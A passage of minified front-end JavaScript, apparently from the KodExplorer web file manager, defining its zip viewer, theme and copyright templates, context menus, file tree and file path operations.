i=template.compile(tpl_zipview),n=i({LNG:LNG,treeID:e}),a=$.dialog({className:"zipViewDialog",ico:core.icon("zip"),title:t,width:550,height:420,content:n,resize:!0,padding:0,fixed:!0}),o=15*$(".zipViewContent").length;a.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},_=function(e){$("#"+e).find("ul:visible > li > a").each(function(e){$(this).removeClass("odd"),0==e%2&&$(this).addClass("odd")})},v=function(e,o){var s=n(o),r="folderListZip"+UUID();s=ui.tree.treeDataSort(s),m(r,e),a(),s={name:e,ext:"zip",mtime:"",isParent:!0,open:!0,children:s,type:"folder",path:"",index:"-1",menuType:"menuZipListFolder"},$.fn.zTree.init($("#"+r),i,s),t=$.fn.zTree.getZTreeObj(r),_(r),u(t.getNodeByParam("index","-1",null))},g=function(e){var i="explorer/unzipList&access_token="+G.access_token+"&path="+urlEncode(e);return G.share_page!==void 0?(i="share/unzipList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e),ui.pathOpen.openUnknow(e),void 0):(i=G.app_host+"index.php?"+i,$.ajax({url:i,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(n){Tips.close(n),n.code?(v(core.pathThis(e),n.data),t.setting.filePath=e,t.setting.fileUrl=i):ui.pathOpen.openUnknow(e,n.data)}}),void 0)};g(e)}}),define("app/common/tpl/copyright.html",[],'<div class="copyright_dialog_content">\n <div class="title">\n <div class="logo"><i class="icon-cloud"></i>{{if core.versionType==\'A\'}}KodExplorer {{else}} {{LNG.kod_name}} {{/if}} v{{G.version}}</div>\n <div class=\'info\'>——{{LNG.kod_name_copyright}}</div>\n </div>\n <div class="content">\n <p>{{#LNG.copyright_desc}}</p>\n <div>{{#LNG.copyright_contact}}</div>\n <div>{{#LNG.copyright_info}}</div> \n </div>\n</div>\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/share_common/rightMenu",[],function(){var e=".menufile",t=".menufolder",i=".menuMore",n=".menuTreeRoot",a=".menuTreeFolder",o=".menuTreeFile",s={listIcon:{name:LNG.list_type,icon:"eye-open",items:{seticon:{name:LNG.list_icon,className:"menu_seticon set_seticon"},setlist:{name:LNG.list_list,className:"menu_seticon set_setlist"}}},sortBy:{name:LNG.order_type,accesskey:"y",icon:"sort",items:{set_sort_name:{name:LNG.name,className:"menu_set_sort set_sort_name"},set_sort_ext:{name:LNG.type,className:"menu_set_sort set_sort_ext"},set_sort_size:{name:LNG.size,className:"menu_set_sort set_sort_size"},set_sort_mtime:{name:LNG.modify_time,className:"menu_set_sort set_sort_mtime"},sep105:"--------",set_sort_up:{name:LNG.sort_up,className:"menu_set_desc set_sort_up"},set_sort_down:{name:LNG.sort_down,className:"menu_set_desc set_sort_down"}}},setFileIconSize:{name:LNG.file_size_title,icon:"picture",className:"set-file-icon-size",items:{"box-size-smallx":{name:LNG.file_size_small_super,className:"file-icon-size box-size-smallx"},"box-size-small":{name:LNG.file_size_small,className:"file-icon-size box-size-small"},"box-size-default":{name:LNG.file_size_default,className:"file-icon-size box-size-default"},"box-size-big":{name:LNG.file_size_big,className:"file-icon-size box-size-big"},"box-size-bigx":{name:LNG.file_size_big_super,className:"file-icon-size box-size-bigx"}}}},r=function(){$('<div id="rightMenu" class="hidden"></div>').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),c(),d(),p(),u(),m(),_(),x(),y(),b(),$(".set_set"+G.user_config.list_type).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_field).addClass("selected"),$(".set_sort_"+G.user_config.list_sort_order).addClass("selected"),$(".context-menu-root").addClass("animated fadeIn")},l=function(){$('<div id="rightMenu" class="hidden"></div>').appendTo("body"),$(".context-menu-list").die("click").live("click",function(e){return stopPP(e),!1}),m(),y(),x(),v(),g(),b(),$(".context-menu-root").addClass("animated fadeIn")},c=function(){$.contextMenu({selector:".menuBodyMain",className:"fileContiner_menu",zIndex:9999,callback:function(e,t){f(e,t)},items:{refresh:{name:LNG.refresh+"<b>F5</b>",className:"refresh",icon:"refresh",accesskey:"e"},sep1:"--------",listIcon:s.listIcon,sortBy:s.sortBy,setFileIconSize:s.setFileIconSize,sep10:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}})},d=function(){$('<i class="'+t.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:t,className:t.substr(1),callback:function(e){h(e)},items:{open:{name:LNG.open+"<b>Enter</b>",className:"open",icon:"folder-open-alt",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",search:{name:LNG.search_in_path+"<b>Ctrl+F</b>",className:"search",icon:"search",accesskey:"s"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"},sep2:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}})},p=function(){$('<i class="'+e.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:e,className:e.substr(1),callback:function(e){h(e)},items:{open:{name:LNG.open+"<b>Enter</b>",className:"open",icon:"external-link",accesskey:"o"},open_text:{name:LNG.edit+"<b>Ctrl+E</b>",className:"open_text",icon:"edit",accesskey:"e"},down:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},show_file:{name:LNG.show_file,className:"show_file",icon:"globe",accesskey:"b"},sep1:"--------",info:{name:LNG.info+"<b>Alt+I</b>",className:"info",icon:"info",accesskey:"i"}}})},u=function(){$('<i class="'+i.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:i,className:i.substr(1),callback:function(e){h(e)},items:{down:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",playmedia:{name:LNG.add_to_play,className:"playmedia",icon:"music",accesskey:"p"},info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},f=function(e){switch(e){case"refresh":ui.f5(!0,!0);break;case"seticon":ui.setListType("icon");break;case"setlist":ui.setListType("list");break;case"set_sort_name":ui.setListSort("name",0);break;case"set_sort_ext":ui.setListSort("ext",0);break;case"set_sort_size":ui.setListSort("size",0);break;case"set_sort_mtime":ui.setListSort("mtime",0);break;case"set_sort_up":ui.setListSort(0,"up");break;case"set_sort_down":ui.setListSort(0,"down");break;case"info":ui.path.info();break;case"box-size-smallx":ui.setFileIconSize(40);break;case"box-size-small":ui.setFileIconSize(60);break;case"box-size-default":ui.setFileIconSize(80);break;case"box-size-big":ui.setFileIconSize(150);break;case"box-size-bigx":ui.setFileIconSize(220);break;case"open":ui.path.open();break;default:}},h=function(e){switch(e){case"open":ui.path.open();break;case"down":ui.path.download();break;case"open_text":ui.path.openEditor();break;case"playmedia":ui.path.play();break;case"search":ui.path.search();break;case"show_file":ui.path.show_file();break;case"openProject":ui.path.openProject();break;case"info":ui.path.info();break;default:}},m=function(){$('<i class="'+n.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:n,callback:function(e){k(e)},items:{download:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},_=function(){$('<i class="'+a.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:a,callback:function(e){k(e)},items:{download:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},v=function(){$('<i class="'+a.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:a,callback:function(e){k(e)},items:{download:{name:LNG.download,className:"down",icon:"download",accesskey:"x"},sep1:"--------",search:{name:LNG.search_in_path,className:"search",icon:"search",accesskey:"s"},explorer:{name:LNG.manage_folder,className:"explorer",icon:"laptop",accesskey:"v"},openProject:{name:LNG.openProject,className:"openProject",icon:"edit"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},g=function(){$('<i class="'+o.substr(1)+'"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:o,callback:function(e){k(e)},items:{edit:{name:LNG.edit,className:"edit",icon:"edit",accesskey:"e"},open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},download:{name:LNG.download,className:"download",icon:"download",accesskey:"x"},show_file:{name:LNG.show_file,className:"show_file",icon:"globe",accesskey:"b"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}})},b=function(){$('<i class="taskBarMenu"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".taskBarMenu",items:{quitOthers:{name:LNG.close_others,className:"quitOthers",icon:"remove-circle",accesskey:"o"},quit:{name:LNG.close,className:"quit",icon:"remove",accesskey:"q"}},callback:function(e,t){var i=t.$trigger.attr("id"),n=$.dialog.list[i];switch(e){case"quitOthers":$.each($.dialog.list,function(e,t){i!=e&&t.close()});break;case"quit":n.close()}}})},y=function(){$.contextMenu({zIndex:9999,selector:".task_tab",items:{closeAll:{name:LNG.dialog_close_all,icon:"remove-circle",accesskey:"q"},showAll:{name:LNG.dialog_display_all,icon:"th-large",accesskey:"s"},hideAll:{name:LNG.dialog_min_all,icon:"remove",accesskey:"h"}},callback:function(e,t){var i=t.$trigger.attr("id");switch($.dialog.list[i],e){case"showAll":$.each($.dialog.list,function(e,t){t.display(!0)});break;case"hideAll":$.each($.dialog.list,function(e,t){t.display(!1)});break;case"closeAll":$.each($.dialog.list,function(e,t){t.close()});break;default:}}})},x=function(){$('<i class="dialog_menu"></i>').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".dialog_menu",items:{quit_dialog:{name:LNG.close,className:"quit_dialog",icon:"remove",accesskey:"q"},hide_dialog:{name:LNG.dialog_min,className:"hide_dialog",icon:"minus",accesskey:"h"},refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"r"},open_window:{name:LNG.open_ie,className:"open_window",icon:"globe",accesskey:"b"},sep101:"--------",qrcode:{name:LNG.qrcode,className:"qrcode",icon:"qrcode",accesskey:"c"}},callback:function(e,t){var i=t.$trigger.attr("id"),n=$.dialog.list[i];switch(e){case"quit_dialog":n.close();break;case"hide_dialog":n.display(!1);break;case"refresh":n.refresh();break;case"open_window":n.open_window();break;case"qrcode":core.qrcode(n.DOM.wrap.find("iframe").attr("src"));break;default:}}})},k=function(e){switch(e){case"edit":ui.tree.openEditor();break;case"open":ui.tree.open();break;case"refresh":ui.tree.refresh();break;case"info":ui.tree.info();break;case"explorer":ui.tree.explorer();break;case"openProject":ui.tree.openProject();break;case"show_file":ui.tree.showFile();break;case"download":ui.tree.download();break;case"search":ui.tree.search();break;case"refresh_all":ui.tree.init();break;case"quit":break;default:}};return{initExplorer:r,initEditor:l,show:function(e,t,i){e&&(rightMenu.hidden(),$(e).contextMenu({x:t,y:i}))},menuShow:function(){var e="disabled",t=$(".context-menu-list").filter(":visible"),i=$(".context-menu-active");if(0!=t.length&&0!=i.length){if(i.hasClass("dialog_menu")){var n=i.attr("id"),a=$.dialog.list[n];a.has_frame()?(t.find(".open_window").show(),t.find(".refresh").show()):(t.find(".open_window").hide(),t.find(".refresh").hide())}if(i.hasClass("menufile")){var o=ui.fileLight.type(ui.fileLight.fileListSelect());"zip"==o?t.find(".unzip").show():t.find(".unzip").hide(),"html"==o||"htm"==o||"oexe"==o?t.find(".open_text").show():t.find(".open_text").hide()}if(i.hasClass("menuMore")){var s=0;ui.fileLight.fileListSelect().each(function(){var e=core.pathExt(ui.fileLight.name($(this)));(inArray(core.filetype.music,e)||inArray(core.filetype.movie,e))&&(s+=1)}),0==s?t.find(".playmedia").hide():t.find(".playmedia").show()}(i.hasClass("menuZipListFolder")||i.hasClass("menuZipListFile"))&&(core.pathCurrentWriteable()?t.find(".unzip_this").removeClass(e):t.find(".unzip_this").addClass(e),G.sid&&t.find(".unzip_to").addClass(e))}},isDisplay:function(){var e=!1;return $(".context-menu-list").each(function(){"none"!=$(this).css("display")&&(e=!0)}),e},hidden:function(){$(".context-menu-list").filter(":visible").trigger("contextmenu:hide")}}}),define("app/src/share_editor/ui",[],function(){var e=function(){var e=!1,t=0,i=0,n=0,a=$(".frame-left"),o=$(".frame-resize"),s=$(".frame-right");o.die("mousedown").live("mousedown",function(e){return 1!=e.which?!0:(r(e),this.setCapture&&this.setCapture(),$(document).mousemove(function(e){l(e)}),$(document).one("mouseup",function(e){return c(e),this.releaseCapture&&this.releaseCapture(),stopPP(e),!1}),stopPP(e),!1)});var r=function(n){e=!0,t=n.pageX,i=$(".frame-left").width(),o.addClass("active"),$(".resizeMask").css("display","block")},l=function(r){if(!e)return!0;var l=r.pageX-t,c=i+l;n>c&&(c=n),c>$(document).width()-200&&(c=$(document).width()-200),a.css("width",c),o.css("left",c-5),s.css("left",c+1)},c=function(){return e?(e=!1,o.removeClass("active"),$(".resizeMask").css("display","none"),void 0):!1}},t=function(){$(".tools-left a").click(function(){var e=$(this).attr("class");switch(e){case"home":tree.init();break;case"view":tree.explorer();break;case"folder":tree.create("folder");break;case"file":tree.create("file");break;case"refresh":tree.init();break;default:}})};return{init:function(){e(),t(),tree.init(),Mousetrap.bind(["ctrl+s","command+s"],function(e){e.preventDefault(),e.returnvalue=!1,ShareData.frameTop("OpenopenEditor",function(e){e.Editor.save()})})},setTheme:function(e){core.setSkin(e,"app_editor.css"),ShareData.frameTop("OpenopenEditor",function(t){t.Editor.setTheme(e)})},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},fileHistory:function(e){var t=G.project;if(G.sid!==void 0&&(t=t+"__"+G.sid),t="editorHistory_"+t,void 0==e){var i=LocalData.get(t);return i=jsonDecode(i),$.isArray(i)||(i=[]),i}LocalData.set(t,jsonEncode(e))}}}),define("app/common/tree",["./pathOperate","./pathOpen","./myPlayer"],function(e){var t,i=e("./pathOperate"),n=e("./pathOpen"),a=!1;ui.pathOpen=n,ui.pathOperate=i;var o,s=function(){0!=$("#windowMaskView").length&&"block"==$("#windowMaskView").css("display")&&inArray(core.filetype.image,f().type)&&n.open(f().path,f().type)},r=function(e,t){if(e&&e[0]&&-1!==$.inArray(e[0].menuType,["menuTreeGroup","menuTreeFav"]))return e;for(var i=[],n=[],a=0;e.length>a;a++)e[a].drop=!1,e[a].drag=!1,e[a].name=e[a].name,e[a].isParent&&e[a].children&&(e[a].children=r(e[a].children)),e[a].is_writeable,"folder"==e[a].type?n.push(e[a]):i.push(e[a]);return t?e:(n=n.sort(function(e,t){var e=e.name,t=t.name;return ui.pathOperate.strSort(e,t)}),i=i.sort(function(e,t){var e=e.name,t=t.name;return ui.pathOperate.strSort(e,t)}),n.concat(i))},l=function(){var e={},t="tree_open_"+md5(Config.pageApp),i=function(e){if(!LocalData.support())return{};if(void 0==e){var i=LocalData.getConfig(t);return 0==i?{}:i}LocalData.setConfig(t,e)},n=function(t){for(var i=0;t.length>i;i++){var n=t[i].path;void 0!==e[n]&&(t[i].open=e[n])}return t},a=function(){for(var t=o.getNodesByFilter(function(e){return 0==e.level?!0:!1}),n={},a=0;t.length>a;a++)n[t[a].path]=t[a].open;return e=n,i(e),e};return e=i(),{list:function(){return e},reset:n,save:a}}(),c=function(){$.ajax({url:Config.treeAjaxURL+"&type=init",dataType:"json",error:function(){$("#folderList").html('<div style="text-align:center;">'+LNG.system_error+"</div>")},success:function(e){if(!e.code)return $("#folderList").html('<div style="text-align:center;">'+LNG.system_error+"</div>"),void 0;var t=r(e.data,!0);t=l.reset(t),$.fn.zTree.init($("#folderList"),u,t),o=$.fn.zTree.getZTreeObj("folderList")}}),$(".ztree .switch").die("mouseenter").live("mouseenter",function(){$(this).addClass("switch_hover")}).die("mouseleave").live("mouseleave",function(){$(this).removeClass("switch_hover")}),"editor"==Config.pageApp&&(Mousetrap.bind("up",function(e){d(e,"up")}).bind("down",function(e){d(e,"down")}).bind("left",function(e){d(e,"left")}).bind("right",function(e){d(e,"right")}),Mousetrap.bind("enter",function(){tree.open()}).bind(["del","command+backspace"],function(){tree.remove()}).bind("f2",function(e){stopPP(e),tree.rname()}).bind(["ctrl+f","command+f"],function(e){stopPP(e),tree.search()}).bind(["ctrl+c","command+c"],function(){tree.copy()}).bind(["ctrl+x","command+x"],function(){tree.cute()}).bind(["ctrl+v","command+v"],function(){tree.past()}).bind("alt+m",function(){tree.create("folder")}).bind("alt+n",function(){tree.create("file")}))},d=function(e,t){stopPP(e);var i=o.getSelectedNodes()[0];if(i){switch(t){case"up":var n=i.getPreNode();if(n){if(n.open&&n.children.length>0)for(;n.open&&n.children&&n.children.length>=1;)n=n.children[n.children.length-1]}else n=i.getParentNode();o.selectNode(n);break;case"down":if(i.open&&i.children.length>=1)n=i.children[0];else{var a=i,n=a.getNextNode()||a.getParentNode().getNextNode();try{for(;!n;)a=a.getParentNode(),n=a.getNextNode()||a.getParentNode().getNextNode()}catch(e){}}o.selectNode(n);break;case"left":i.isParent?i.open?o.expandNode(i,!1):o.selectNode(i.getParentNode()):o.selectNode(i.getParentNode());break;case"right":i.open?o.selectNode(i.children[0]):o.expandNode(i,!0);break;default:}s()}},p=function(){return"editor"==Config.pageApp?!1:!0},u={async:{enable:!0,dataType:"json",url:Config.treeAjaxURL,autoParam:["ajax_path=path","tree_icon=tree_icon"],dataFilter:function(e,t,i){return i.code?r(i.data):null}},edit:{enable:!0,showRemoveBtn:!1,showRenameBtn:!1,drag:{isCopy:!1,isMove:!1}},view:{showLine:!1,selectedMulti:!1,expandSpeed:"fast",dblClickExpand:!1,addDiyDom:function(e,t){var i=15,n=$("#"+t.tId+"_switch"),a=$("#"+t.tId+"_ico");n.remove(),t.iconSkin=t.tree_icon;var o=t.tree_icon;if(t.ext?o=t.ext:t.tree_icon||(o=t.type),a.before(n).before('<span id="'+t.tId+'_my_ico" class="tree_icon button">'+core.iconSmall(o)+"</span>").remove(),void 0!=t.ext&&a.attr("class","").addClass("file "+t.ext).removeAttr("style"),t.level>=1){var s="<span class='space' style='display: inline-block;width:"+i*t.level+"px'></span>";n.before(s)}var r="";void 0!=t.menuType?r=t.menuType:(("file"==t.type||"oexe"==t.ext)&&(r="menuTreeFile"),"folder"==t.type&&(r="menuTreeFolder"));var l=LNG.name+":"+t.name+"\n"+LNG.size+":"+core.fileSize(t.size)+"\n"+LNG.modify_time+":"+t.mtime;"file"!=t.type&&(l=t.name),n.parent().addClass(r).attr("title",l),0==t.is_writeable&&n.parent().addClass("file_not_writeable"),0==t.is_readable&&n.parent().addClass("file_not_readable")}},callback:{onClick:function(e,t,i){return o.selectNode(i),"editor"==Config.pageApp&&"folder"==i.type?(o.expandNode(i),void 0):("editor"==Config.pageApp||"folder"!=i.type?ui.tree.openEditor():ui.path.list(i.path),void 0)},beforeDblClick:function(){return!0},onCollapse:function(e,t,i){0==i.level&&l.save()},onExpand:function(e,t,i){0==i.level&&l.save()},onDblClick:function(e,t,i){return $(e.target).hasClass("switch")||!p()?!1:(o.expandNode(i),void 0)},beforeRightClick:function(e,t){o.selectNode(t)},beforeAsync:function(e,t){t.ajax_name=t.name,t.ajax_path=t.path,$("#"+t.tId+"_my_ico").addClass("ico_loading")},onAsyncSuccess:function(e,i,n,a){return $("#"+n.tId+"_my_ico").removeClass("ico_loading"),0==a.data.length?(o.removeChildNodes(n),void 0):("function"==typeof t&&(t(),t=void 0),void 0)},onRename:function(e,n,a){var s=a.getParentNode();if(o.getNodesByParam("name",a.name,s).length>1)return Tips.tips(LNG.name_isexists,!1),o.removeNode(a),void 0;if(a.create){var r=a.path+"/"+a.name;"folder"==a.type?i.newFolder(r,function(){t=function(){var e=o.getNodesByParam("name",a.name,s)[0];o.selectNode(e),g()},h(s)}):i.newFile(r,function(){t=function(){var e=o.getNodesByParam("name",a.name,s)[0];o.selectNode(e),g()},h(s)})}else{var l=rtrim(a.path,"/"),c=core.pathFather(a.path)+a.name;i.rname(l,c,function(e){a.path=e,t=function(){var e=o.getNodesByParam("name",a.name,s)[0];o.selectNode(e),g(),"folder"==a.type&&ui.path.list(a.path)},h(s)})}},beforeDrag:function(e,t){for(var i=0,n=t.length;n>i;i++)if(t[i].drag===!1)return!1;return!0},beforeDrop:function(e,t,i){return i?i.drop!==!1:!0},onDrop:function(e,t,n,a){var o="",s="",r=n[0];(r.father||r.this_path)&&(o=r.father+urlEncode(r.name),s=a.father+urlEncode(a.name),i.cuteDrag([{path:o,type:r.type}],s,function(){h(r)}))}}},f=function(e){if(o){var t=o.getSelectedNodes()[0],i="";return t?(i=t.type,("_null_"==i||void 0==i)&&(i="folder"),"file"==i&&(i=t.ext),e?[{path:t.path,type:i,node:t}]:{path:t.path,type:i,node:t}):{path:"",type:""}}},h=function(e){return e||(e=o.getSelectedNodes()[0]),e.isParent||(e=e.getParentNode())?(o.reAsyncChildNodes(e,"refresh"),void 0):(ui.tree.init(),void 0)},m=function(){v(G.KOD_USER_FAV),ui.f5()},_=function(){m(),v(G.KOD_GROUP_ROOT_SELF),v(G.KOD_GROUP_ROOT_ALL)},v=function(e){var t=o.getNodesByParam("path",e,null);h(t[0])},g=function(){"explorer"==Config.pageApp&&ui.f5()};return{treeOpenHistory:l,pathOpen:n,treeDataSort:r,init:c,refresh:h,refreshPath:v,refreshFav:m,refreshGroup:_,zTree:function(){return o},openEditor:function(){n.openEditor(f().path)},openWindow:function(){n.openWindow(f().path)},share:function(){i.share(f())},download:function(){"folder"==f().type?i.zipDownload(f(!0)):n.download(f().path)},setSelect:function(e){if(o){var t=o.getSelectedNodes();if(!$.isArray(t)||1!=t.length||trim(t[0].path,"/")!=trim(e,"/")){var i=o.getNodesByFilter(function(t){return trim(t.path,"/")==trim(e,"/")?!0:!1},!0);i&&o.selectNode(i,!1)}}},open:function(){if(!($(".dialog_path_remove").length>=1)){var e=f();"oexe"==e.type&&(e.path=e.node),n.open(e.path,e.type)}},fav:function(){var e=f();e.name=e.node.name,e.node="null",i.fav(e)},createLink:function(e){var t=f();i.createLink(t.path,t.node.name,t.type,e,g)},search:function(){core.search("",f().path)},appEdit:function(){var e=f(),t=e.node;t.path=e.path,i.appEdit(t,function(){h(e.node.getParentNode())})},info:function(){i.info(f(!0))},copy:function(){i.copy(f(!0))},cute:function(){i.cute(f(!0))},copyTo:function(){core.api.pathSelect({type:"folder",title:LNG.copy_to},function(e){i.copyDrag(f(!0),e,"",!1)})},cuteTo:function(){core.api.pathSelect({type:"folder",title:LNG.cute_to},function(e){i.cuteDrag(f(!0),e,function(){v()})})},favRemove:function(){i.favRemove(f().node.name,function(e){Tips.tips(e),m()})},past:function(){var e=f();e.node.isParent||(e.node=e.node.getParentNode()),i.past(e.path,function(){g(),h(e.node)})},clone:function(){var e=f();e.node.isParent||(e.node=e.node.getParentNode()),i.copyDrag(f(!0),core.pathFather(e.path),function(){g(),"folder"==e.type?h(e.node.getParentNode()):h(e.node)},!0)},remove:function(){var e=f(!0),t=e[0].node.getParentNode();e[0].type=e[0].node.type,e[0].type="folder"==e[0].type?"folder":"file",i.remove(e,function(){g(),h(t)})},checkIfChange:function(e){a||(a=!0,o&&(o.getNodesByFilter(function(t){var i=t.path;return"folder"==t.type&&core.pathClear(i)==core.pathClear(e)&&h(t),!1},!0),setTimeout(function(){a=!1},500)))},explorer:function(){var e=o.getSelectedNodes();if(0>=e.length){var t=o.getNodes();o.selectNode(t[0])}var i=f().path;"folder"!=f().type&&(i=core.pathFather(i)),core.explorer(i)},openProject:function(){core.explorerCode(f().path)},create:function(e){var i=o.getSelectedNodes();if(0>=i.length){var n=o.getNodes();o.selectNode(n[0])}else"file"==i[0].type&&o.selectNode(i[0].getParentNode());var a=f(),s=a.node,r=s.getParentNode(),l="newfile",c=0,d=LNG.newfolder;if("folder"==e){for(;o.getNodesByParam("name",d+"("+c+")",r).length>0;)c++;newNode={name:d+"("+c+")",ext:"",type:"folder",create:!0,path:a.path}}else{for(var p=e;o.getNodesByParam("name",l+"("+c+")."+p,r).length>0;)c++;newNode={name:l+"("+c+")."+p,ext:p,type:"file",create:!0,path:a.path}}if(void 0!=s.children){var u=o.addNodes(s,newNode)[0];o.editName(u)}else"folder"!=s.type&&(s=s.getParentNode()),t=function(){var e=o.addNodes(s,newNode)[0];o.editName(e)},s.isParent?o.expandNode(s):t()},showFile:function(){var e="./index.php?share/file&sid="+G.sid+"&user="+G.user+"&path="+f().path;window.open(e)},rname:function(){var e=o.getSelectedNodes()[0];o.editName(e),e.beforeName=e.name}}}),define("app/common/pathOperate",[],function(e){var t=["/","\\",":","*","?",'"',"<",">","|"],i=["/","\\"],n=function(e){var n=function(e,t){for(var i=t.length,n=0;i>n;n++)if(e.indexOf(t[n])>0)return!0;return!1},a=i;return G.system_os&&"windows"==G.system_os&&(a=t),n(e,a)?(Tips.tips(LNG.path_not_allow+": "+a.join(", "),!1),!1):!0},a=function(e){for(var t=[],i=function(e){return e?e.replace(/"/g,'\\\\"'):e},n=0;e.length>n;n++)t.push({type:i(e[n].type),path:urlEncode(i(e[n].path))});return"data_arr="+jsonEncode(t)},o=function(e,t){for(var i="0123456789零一二三四五六七八九十百千万壹贰叁肆伍陆柒捌玖拾佰仟万",n=0;Math.max(e.length,t.length)>n;n++)if(e.charAt(n)!=t.charAt(n)){var a=i.indexOf(e.charAt(n)),o=i.indexOf(t.charAt(n));return-1!=a&&-1!=o?a>o?1:o>a?-1:0:e.charAt(n)>t.charAt(n)?1:e.charAt(n)<t.charAt(n)?-1:0}return 0},s=function(e,t){if(void 0==e||void 0==t)return 0;var i=/([0-9\.]+)/g,n=(""+e).toLowerCase()||"",a=(""+t).toLowerCase()||"",s=String.fromCharCode(0),r=n.replace(i,s+"$1"+s).split(s),l=a.replace(i,s+"$1"+s).split(s),c=new Date(n).getTime(),d=c?new Date(a).getTime():null;if(d){if(d>c)return-1;if(c>d)return 1}for(var p=0,u=Math.max(r.length,l.length);u>p;p++)if(oFxNcL=parseFloat(r[p])||r[p],oFyNcL=parseFloat(l[p])||l[p],oFxNcL!=oFyNcL)if("string"==typeof oFxNcL&&"string"==typeof oFyNcL){var f=o(oFxNcL,oFyNcL);if(0!=f)return f}else{if(oFyNcL>oFxNcL)return-1;if(oFxNcL>oFyNcL)return 1}return 0},r=function(e,t){if(e){var i=core.pathThis(e);return n(i)?($.ajax({dataType:"json",url:"index.php?explorer/mkfile&path="+urlEncode(e),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&e&&e.info&&t(e.info)}}),void 0):("function"==typeof t&&t(),void 0)}},l=function(e,t){if(e){var i=core.pathThis(e);return n(i)?($.ajax({dataType:"json",url:"index.php?explorer/mkdir&path="+urlEncode(e),beforeSend:function(){"function"==typeof t&&Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&e&&e.info&&t(e.info)}}),void 0):("function"==typeof t&&t(),void 0)}},c=function(e,t,i){return e&&t&&e!=t?n(core.pathThis(t))?($.ajax({type:"POST",dataType:"json",url:"index.php?explorer/pathRname",data:"path="+urlEncode(e)+"&rname_to="+urlEncode(t),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof i&&e&&e.info&&i(e.info)}}),void 0):("function"==typeof i&&i(),void 0):void 0},d=function(e,t,i,n){if(i=void 0==i?!1:i,n=void 0==n?!1:n,!(1>e.length)){var o=LNG.remove_title,s=LNG.remove_info,r="index.php?explorer/pathDelete",l=a(e);"share"==e[0].type&&(o=LNG.share_remove,s=LNG.share_remove_tips,r="index.php?userShare/del"),n&&(s=LNG.remove_info_force,o=LNG.remove_title_force,r+="&shiftDelete=1"),("recycle_clear"==e[0].type||G.USER_RECYCLE&&G.this_path==G.USER_RECYCLE||G.this_path==core.pathFather(G.myhome)+"recycle_kod/")&&(s=LNG.recycle_clear_info,r="index.php?explorer/pathDeleteRecycle",o=LNG.recycle_clear,"recycle_clear"==e[0].type&&(l={})),e.length>1&&(s+=' ... <span class="badge">'+e.length+"</span>");var 